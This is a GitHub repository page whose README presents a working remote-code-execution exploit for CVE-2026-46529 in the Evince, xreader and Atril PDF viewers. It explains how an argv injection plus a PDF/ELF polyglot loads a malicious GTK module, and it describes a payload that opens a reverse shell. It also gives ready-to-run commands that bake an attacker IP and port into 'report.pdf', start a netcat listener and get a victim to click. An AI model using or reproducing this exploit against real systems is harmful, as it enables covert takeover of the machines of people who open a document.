GitHub - N1et/CVE-2026-46529: Evince/xreader/Atril RCE exploit to CVE-2026-46529 · GitHub
/" data-turbo-transient="true" />
Skip to content
Search or jump to...
Search code, repositories, users, issues, pull requests...
-->
Search
Clear
Search syntax tips
Provide feedback
--><br>We read every piece of feedback, and take your input very seriously.
Include my email address so I can be contacted
Cancel
Submit feedback
Saved searches
Use saved searches to filter your results more quickly
-->
Name
Query
To see all available qualifiers, see our documentation.
Cancel
Create saved search
Sign in
/;ref_cta:Sign up;ref_loc:header logged out"}"<br>Sign up
Appearance settings
Resetting focus
You signed in with another tab or window. Reload to refresh your session.<br>You signed out in another tab or window. Reload to refresh your session.<br>You switched accounts on another tab or window. Reload to refresh your session.
Dismiss alert
{{ message }}
N1et
CVE-2026-46529
Public
Notifications<br>You must be signed in to change notification settings
Fork
Star
main
BranchesTags
Go to file
CodeOpen more actions menu
Folders and files<br>NameNameLast commit message<br>Last commit date<br>Latest commit
History<br>6 Commits<br>6 Commits
README.md
README.md
build_polyglot.py
build_polyglot.py
evil_gtk_module.c
evil_gtk_module.c
exploit.sh
exploit.sh
View all files
Repository files navigation
RCE via PDF argv injection (CVE-2026-46529) (atril/xreader/evince)
Working proof-of-concept for the argv injection in ev_spawn()<br>(shell/ev-application.c). A single click anywhere on the rendered<br>page of a crafted PDF triggers arbitrary code execution as the user<br>running the viewer.
This release uses the %f-substitution technique: the dlopen target<br>path is discovered by the viewer itself at runtime, so the attacker<br>needs zero knowledge of where the polyglot lands on the victim's<br>filesystem (no username, no $HOME, no download directory).
POC
Screen.Recording.2026-05-15.at.02.28.19.mp4
What's in this bundle
File<br>Purpose
exploit.sh<br>One-shot wrapper: compile + build polyglot in a single command.
evil_gtk_module.c<br>Source of the payload. Constructor opens a reverse shell and drops a marker at /tmp/PWNED_atril_.txt.
build_polyglot.py<br>Polyglot builder. Combines a compiled evil.so with a minimal PDF body containing the /GoToR action and the %f smuggle.
You must build on a Linux host matching the victim's architecture.<br>evil_gtk_module.c is portable across archs; the resulting ELF is<br>arch-specific. macOS cannot produce the .so because Apple's linker<br>doesn't accept GNU build-id flags.
The vulnerability in one paragraph
ev_spawn() builds the spawn command line by interpolating the PDF's<br>/D (named destination) and /F (file specification) strings without<br>g_shell_quote. The result is parsed back into argv by<br>g_app_info_create_from_commandline → g_shell_parse_argv. Crafting<br>/D with a leading space and --gtk-module=... causes the spawned<br>child viewer to receive --gtk-module= as a standalone argv element,<br>which gtk_init() honors via g_module_open() (i.e. dlopen). Any<br>constructor in the loaded ELF runs as the victim.
The polyglot is a single file that is simultaneously a valid PDF and a<br>valid ELF shared library — the %PDF-1.4 marker is stamped inside the<br>.note.gnu.build-id SHA1 slot (offset 0x1d8), which poppler accepts<br>because it scans the first 1024 bytes for the magic and ld.so accepts<br>because the build-id contents are informational.
The %f trick (this release) closes the last piece. Instead of<br>hardcoding the polyglot's path inside the PDF, we embed glib's %f<br>placeholder. glib's g_app_info_launch_uris substitutes %f with the<br>local-path form of the URI that atril resolved at runtime via<br>g_path_get_dirname(source_uri) + /F.basename. The spawned child's<br>argv ends up containing --gtk-module=, dlopen<br>succeeds, RCE.
/F is set to ?1 rather than just because<br>ev_application_open_uri_at_dest() short-circuits and just navigates<br>(instead of spawning) when the resolved /F URI equals the source URI.<br>The trailing query string makes the URI distinct; glib's<br>g_filename_from_uri strips it when building %f.
How to reproduce
Quick start
./exploit.sh -o report.pdf --ip 192.168.1.5 --port 4444
Output: report.pdf with the reverse-shell target baked in. Deploy<br>to the victim with the same basename (any directory), start a<br>listener, have them open it in atril and click anywhere on the page.
# Attacker:<br>nc -lvnp 4444
# Victim:<br>atril /any/where/report.pdf<br># click anywhere on the rendered page → shell back
The basename embedded in /F is derived from the output filename, so<br>the polyglot expects to be deployed as report.pdf. The directory<br>does not matter — atril resolves the full path at runtime via the<br>%f substitution. The Link annotation covers the entire MediaBox,<br>so any click fires the action. A marker file is also written to<br>/tmp/PWNED_atril_.txt.
All exploit.sh options
-o, --output FILE Output PDF path (default: polyglot.pdf)<br>--ip IP...